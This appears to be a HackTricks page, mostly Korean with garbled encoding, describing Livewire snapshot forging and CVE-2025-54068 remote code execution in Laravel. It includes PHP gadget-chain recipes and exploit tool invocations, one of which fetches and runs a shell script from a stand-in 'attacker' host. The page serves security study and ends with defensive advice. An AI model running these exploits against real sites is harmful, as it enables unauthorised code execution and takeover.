Laravel Livewire Hydration & Synthesizer Abuse
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Livewire ์ํ ๋จธ์ ์์ฝ
Livewire 3 ์ปดํฌ๋ํธ๋ data, memo, ์ฒดํฌ์ฌ์ ํฌํจํ๋ **์ค๋
์ท(snapshots)**์ ํตํด ์ํ๋ฅผ ๊ตํํฉ๋๋ค. /livewire/update๋ก์ ๋ชจ๋ POST๋ ์๋ฒ ์ธก์์ JSON ์ค๋
์ท์ ์ฌํ์ด๋๋ ์ดํธ(rehydrate)ํ๊ณ ๋๊ธฐ์ด์ ์๋ calls/updates๋ฅผ ์คํํฉ๋๋ค.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
๋ฐ๋ผ์ APP_KEY(์ด $hashKey๋ฅผ ๋์ถํ๋ ๋ฐ ์ฌ์ฉ๋จ)๋ฅผ ๊ฐ์ง ์ฌ๋์ HMAC์ ์ฌ๊ณ์ฐํ์ฌ ์์์ ์ค๋
์ท์ ์์กฐํ ์ ์๋ค.
๋ณต์กํ ํ๋กํผํฐ๋ Livewire\Drawer\BaseUtils::isSyntheticTuple()๋ก ๊ฐ์ง๋๋ ํฉ์ฑ ํํ๋ก ์ธ์ฝ๋ฉ๋๋ค; ๊ฐ ํํ์ [value, {"s":"<key>", ...meta}]์ด๋ค. ํ์ด๋๋ ์ด์
์ฝ์ด๋ ๋จ์ํ ๊ฐ ํํ์ HandleComponents::$propertySynthesizers์์ ์ ํ๋ synth๋ก ์์ํ๊ณ ์์ ์์๋ค์ ๋ํด ์ฌ๊ท์ ์ผ๋ก ์ฒ๋ฆฌํ๋ค:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
์ด ์ฌ๊ท์ ์ค๊ณ๋ก ์ธํด ๊ณต๊ฒฉ์๊ฐ ํํ ๋ฉํ๋ฐ์ดํฐ๋ ์ฌ๊ท ์ฒ๋ฆฌ ์ค์ธ ์ด๋ค ์ค์ฒฉ ํํ์ ์ ์ดํ๋ฉด Livewire๋ ์ผ๋ฐ์ ์ธ ๊ฐ์ฒด ์ธ์คํด์คํ ์์ง์ด ๋ฉ๋๋ค.
๊ฐ์ ฏ ํ๋ฆฌ๋ฏธํฐ๋ธ๋ฅผ ์ ๊ณตํ๋ Synthesizers
| Synthesizer | Attacker-controlled behaviour |
|---|---|
CollectionSynth (clctn) | ๊ฐ ์์์ ๋ฆฌํ์ด๋๋ ์ดํธํ ํ new $meta['class']($value)๋ฅผ ์ธ์คํด์คํํฉ๋๋ค. ๋ฐฐ์ด์ ๋ฐ๋ ์์ฑ์๋ฅผ ๊ฐ์ง ์ด๋ค ํด๋์ค๋ ์์ฑํ ์ ์์ผ๋ฉฐ, ๊ฐ ํญ๋ชฉ ์์ฒด๊ฐ synthetic tuple์ผ ์ ์์ต๋๋ค. |
FormObjectSynth (form) | new $meta['class']($component, $path)๋ฅผ ํธ์ถํ ๋ค $hydrateChild๋ฅผ ํตํด ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ์์๋ค๋ก๋ถํฐ ๋ชจ๋ public ํ๋กํผํฐ๋ฅผ ํ ๋นํฉ๋๋ค. ๋ ๊ฐ์ ๋์จํ ํ์
์ ๋งค๊ฐ๋ณ์(๋๋ ๊ธฐ๋ณธ ์ธ์)๋ฅผ ๋ฐ๋ ์์ฑ์๋ง์ผ๋ก๋ ์์์ public ํ๋กํผํฐ์ ์ ๊ทผํ ์ ์์ต๋๋ค. |
ModelSynth (mdl) | meta์ key๊ฐ ์์ผ๋ฉด return new $class;๋ฅผ ์คํํ์ฌ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ์ด๋ค ํด๋์ค๋ ์ธ์๊ฐ ์๋ ์ํ๋ก ์ธ์คํด์คํํ ์ ์์ต๋๋ค. |
synths๊ฐ ๋ชจ๋ ์ค์ฒฉ ์์์ $hydrateChild๋ฅผ ํธ์ถํ๊ธฐ ๋๋ฌธ์, ํํ์ ์ฌ๊ท์ ์ผ๋ก ์์ ์์์ ๊ฐ์ ฏ ๊ทธ๋ํ๋ฅผ ๊ตฌ์ฑํ ์ ์์ต๋๋ค.
APP_KEY๋ฅผ ์๊ณ ์์ ๋ ์ค๋
์ท ์์กฐ
- ์ ์์ ์ธ
/livewire/update์์ฒญ์ ์บก์ฒํ๊ณcomponents[0].snapshot๋ฅผ ๋์ฝ๋ํฉ๋๋ค. - ๊ฐ์ ฏ ํด๋์ค๋ฅผ ๊ฐ๋ฆฌํค๋ ์ค์ฒฉ ํํ์ ์ฃผ์
ํ๊ณ
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY)๋ฅผ ์ฌ๊ณ์ฐํฉ๋๋ค. - ์ค๋
์ท์ ๋ค์ ์ธ์ฝ๋ฉํ๊ณ
_token/memo๋ ๊ทธ๋๋ก ๋ ์ฑ ์์ฒญ์ ์ฌ์ ์กํฉ๋๋ค.
์ต์ํ์ ์คํ ์ฆ๋ช
์ **Guzzle์ FnStream**๊ณผ **Flysystem์ ShardedPrefixPublicUrlGenerator**๋ฅผ ์ฌ์ฉํฉ๋๋ค. ํ ํํ์ ์์ฑ์ ๋ฐ์ดํฐ { "__toString": "phpinfo" }๋ก FnStream์ ์ธ์คํด์คํํ๊ณ , ๋ค์ ํํ์ $prefixes๋ก [FnStreamInstance]๋ฅผ ์ฌ์ฉํด ShardedPrefixPublicUrlGenerator๋ฅผ ์ธ์คํด์คํํฉ๋๋ค. Flysystem์ด ๊ฐ prefix๋ฅผ string์ผ๋ก ์บ์คํ
ํ ๋ PHP๋ ๊ณต๊ฒฉ์๊ฐ ์ ๊ณตํ __toString callable์ ํธ์ถํ์ฌ ์ธ์ ์์ด ์์์ ํจ์๋ฅผ ์คํํฉ๋๋ค.
ํจ์ ํธ์ถ์์ ์์ ํ RCE๋ก
Livewire์ ์ธ์คํด์คํ ํ๋ฆฌ๋ฏธํฐ๋ธ๋ฅผ ํ์ฉํด, Synacktiv๋ phpggc์ Laravel/RCE4 ์ฒด์ธ์ ์ ์์์ผ ํ์ด๋๋ ์ด์
์ด public Queueable ์ํ๊ฐ ์ญ์ง๋ ฌํ๋ฅผ ํธ๋ฆฌ๊ฑฐํ๋ ๊ฐ์ฒด๋ฅผ ๋ถํ
ํ๊ฒ ๋ง๋ค์์ต๋๋ค:
- Queueable trait โ
Illuminate\Bus\Queueable๋ฅผ ์ฌ์ฉํ๋ ๋ชจ๋ ๊ฐ์ฒด๋ public$chained๋ฅผ ๋ ธ์ถํ๋ฉฐdispatchNextJobInChain()์์unserialize(array_shift($this->chained))๋ฅผ ์คํํฉ๋๋ค. - BroadcastEvent wrapper โ
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue)๋ public$chained๊ฐ ์ฑ์์ง ์ํ๋กCollectionSynth/FormObjectSynth๋ฅผ ํตํด ์ธ์คํด์คํ๋ฉ๋๋ค. - phpggc Laravel/RCE4Adapted โ
$chained[0]์ ์ ์ฅ๋ ์ง๋ ฌํ๋ blob์PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed๋ฅผ ๊ตฌ์ฑํฉ๋๋ค.Signed::__invoke()๋ ๊ฒฐ๊ตญcall_user_func_array($closure, $args)๋ฅผ ํธ์ถํ์ฌsystem($cmd)๋ฅผ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค. - Stealth termination โ
[new Laravel\Prompts\Terminal(), 'exit']๊ฐ์ ๋ ๋ฒ์งธFnStreamcallable์ ์ ๊ณตํ๋ฉด ์์ฒญ์ ์๋๋ฌ์ด ์์ธ ๋์exit()๋ก ์ข ๋ฃ๋์ด HTTP ์๋ต์ด ๊นจ๋ํ๊ฒ ์ ์ง๋ฉ๋๋ค.
์ค๋ ์ท ์์กฐ ์๋ํ
synacktiv/laravel-crypto-killer๋ ์ด์ ๋ชจ๋ ๊ฒ์ ์ฐ๊ฒฐํ๋ livewire ๋ชจ๋๋ฅผ ์ ๊ณตํฉ๋๋ค:
./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
์ด ๋๊ตฌ๋ ์บก์ฒํ ์ค๋
์ท์ ํ์ฑํ๊ณ gadget tuples๋ฅผ ์ฃผ์
ํ ๋ค ์ฒดํฌ์ฌ์ ์ฌ๊ณ์ฐํ์ฌ ์ ์ก ์ค๋น๊ฐ ๋ /livewire/update payload๋ฅผ ์ถ๋ ฅํฉ๋๋ค.
CVE-2025-54068 โ RCE without APP_KEY
updates๋ ์ค๋
์ท ์ฒดํฌ์ฌ์ด ๊ฒ์ฆ๋ ํ์ ์ปดํฌ๋ํธ ์ํ๋ก ๋ณํฉ๋ฉ๋๋ค. ์ค๋
์ท ๋ด๋ถ์ ํ๋กํผํฐ๊ฐ(๋๋ ๊ทธ๋ ๊ฒ ๋ณํ๋ฉด) synthetic tuple์ธ ๊ฒฝ์ฐ, Livewire๋ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ update ๊ฐ์ผ๋ก hydrateํ๋ ๋์ ํด๋น tuple์ meta๋ฅผ ์ฌ์ฌ์ฉํฉ๋๋ค:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Exploit recipe:
- ํ์
์ด ์ง์ ๋์ง ์์ public ์์ฑ(์:
public $count;)์ ๊ฐ์ง Livewire ์ปดํฌ๋ํธ๋ฅผ ์ฐพ๋๋ค. - ํด๋น ์์ฑ์
[]๋ก ์ค์ ํ๋ update๋ฅผ ์ ์กํ๋ค. ๋ค์ snapshot์ ์ด์ [[], {"s": "arr"}]๋ก ์ ์ฅ๋๋ค. - ํด๋น ์์ฑ์ด ๊น๊ฒ ์ค์ฒฉ๋ ๋ฐฐ์ด์ ํฌํจํ๋๋ก,
[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]๊ฐ์ ํํ์ ์๋ฒ ๋ํ ๋ ๋ค๋ฅธupdatesํ์ด๋ก๋๋ฅผ ๊ตฌ์ฑํ๋ค. - ์ฌ๊ท ์ฒ๋ฆฌ ์ค
hydrate()๋ ๊ฐ ์ค์ฒฉ๋ ์์ ์์๋ฅผ ๋ ๋ฆฝ์ ์ผ๋ก ํ๊ฐํ๋ฏ๋ก, ์ธ๋ถ ํํ๊ณผ checksum์ด ๋ณ๊ฒฝ๋์ง ์์๋๋ผ๋ ๊ณต๊ฒฉ์๊ฐ ์ ํํ synth ํค/ํด๋์ค๊ฐ ์ ์ฉ๋๋ค. - ๊ฐ์
CollectionSynth/FormObjectSynthํ๋ฆฌ๋ฏธํฐ๋ธ๋ฅผ ์ฌ์ฌ์ฉํด$chained[0]์ phpggc ํ์ด๋ก๋๋ฅผ ๋ด์ Queueable gadget์ ์ธ์คํด์คํํ๋ค. Livewire๊ฐ ์์กฐ๋ updates๋ฅผ ์ฒ๋ฆฌํ๋ฉดdispatchNextJobInChain()๋ฅผ ํธ์ถํดAPP_KEY๋ฅผ ์์ง ๋ชปํ ์ฑsystem(<cmd>)์ ๋๋ฌํ๋ค.
Key reasons this works:
updates๋ snapshot checksum์ ํฌํจ๋์ง ์๋๋ค.getMetaForPath()๋ ๊ณต๊ฒฉ์๊ฐ weak typing์ผ๋ก ์ด์ ์ ๊ทธ ์์ฑ์ ํํ๋ก ๋ง๋ ๊ฒฝ์ฐ์๋, ํด๋น ์์ฑ์ ์ด๋ฏธ ์กด์ฌํ๋ synth ๋ฉํ๋ฐ์ดํฐ๋ฅผ ์ ๋ขฐํ๋ค.- ์ฌ๊ท์ weak typing์ ๊ฒฐํฉํ๋ฉด ๊ฐ ์ค์ฒฉ ๋ฐฐ์ด์ด ์๋ก์ด ํํ๋ก ํด์๋๋ฏ๋ก ์์์ synth ํค์ ์์์ ํด๋์ค๊ฐ ๊ฒฐ๊ตญ hydrate๋ก ์ ๋ฌ๋๋ค.
Livepyre โ ์๋ํฌ์๋ ์ต์คํ๋ก์
Livepyre ๋ APP_KEY-less CVE์ signed-snapshot ๊ฒฝ๋ก๋ฅผ ๋ชจ๋ ์๋ํํ๋ค:
- ๋ฐฐํฌ๋ Livewire ๋ฒ์ ์
<script src="/livewire/livewire.js?id=HASH">๋ฅผ ํ์ฑํด ์๋ณํ๊ณ , ํด์๋ฅผ ์ทจ์ฝํ ๋ฆด๋ฆฌ์ค์ ๋งคํํ๋ค. - ์ ์ ๋์์ ์ฌ์ํ์ฌ ๊ธฐ๋ณธ ์ค๋
์ท์ ์์งํ๊ณ
components[].snapshot์ ์ถ์ถํ๋ค. updates์ ์ฉ ํ์ด๋ก๋(CVE-2025-54068) ๋๋ phpggc ์ฒด์ธ์ ํฌํจํ ์์กฐ๋ ์ค๋ ์ท(์๋ ค์ง APP_KEY)์ ์์ฑํ๋ค.
Typical usage:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check๋ ๋นํ๊ดด ํ๋ก๋ธ๋ฅผ ์คํํ๊ณ , -F๋ ๋ฒ์ ๊ฒ์ดํ
์ ๊ฑด๋๋ฐ๋ฉฐ, -H์ -P๋ ์ปค์คํ
ํค๋ ๋๋ ํ๋ก์๋ฅผ ์ถ๊ฐํ๊ณ , --function/--param์ gadget chain์ ์ํด ํธ์ถ๋๋ php ํจ์๋ฅผ ์ฌ์ฉ์ ์ ์ํฉ๋๋ค.
๋ฐฉ์ด์ ๊ณ ๋ ค์ฌํญ
- Upgrade to fixed Livewire builds (>= 3.6.4 according to the vendor bulletin) and deploy the vendor patch for CVE-2025-54068.
- Livewire components์์ ์ฝํ๊ฒ ํ์ ๋ public properties๋ฅผ ํผํ์ธ์; ๋ช ์์ ์ค์นผ๋ผ ํ์ ์ ์์ฑ ๊ฐ์ด arrays/tuples๋ก ๊ฐ์ ๋ณํ๋๋ ๊ฒ์ ๋ฐฉ์งํฉ๋๋ค.
- Register only the synthesizers you truly need and treat user-controlled metadata (
$meta['class']) as untrusted. - ์์ฑ์ JSON ํ์ ์ ๋ณ๊ฒฝํ๋ ์ ๋ฐ์ดํธ(์: scalar -> array)๋ ๋ช ์์ ์ผ๋ก ํ์ฉ๋์ง ์๋ ํ ๊ฑฐ๋ถํ๊ณ , ์ค๋๋ tuples๋ฅผ ์ฌ์ฌ์ฉํ์ง ๋ง๊ณ synth metadata๋ฅผ ๋ค์ ํ์ํ์ธ์.
- Rotate
APP_KEYpromptly after any disclosure because it enables offline snapshot forging no matter how patched the code-base is.
References
- Synacktiv โ Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


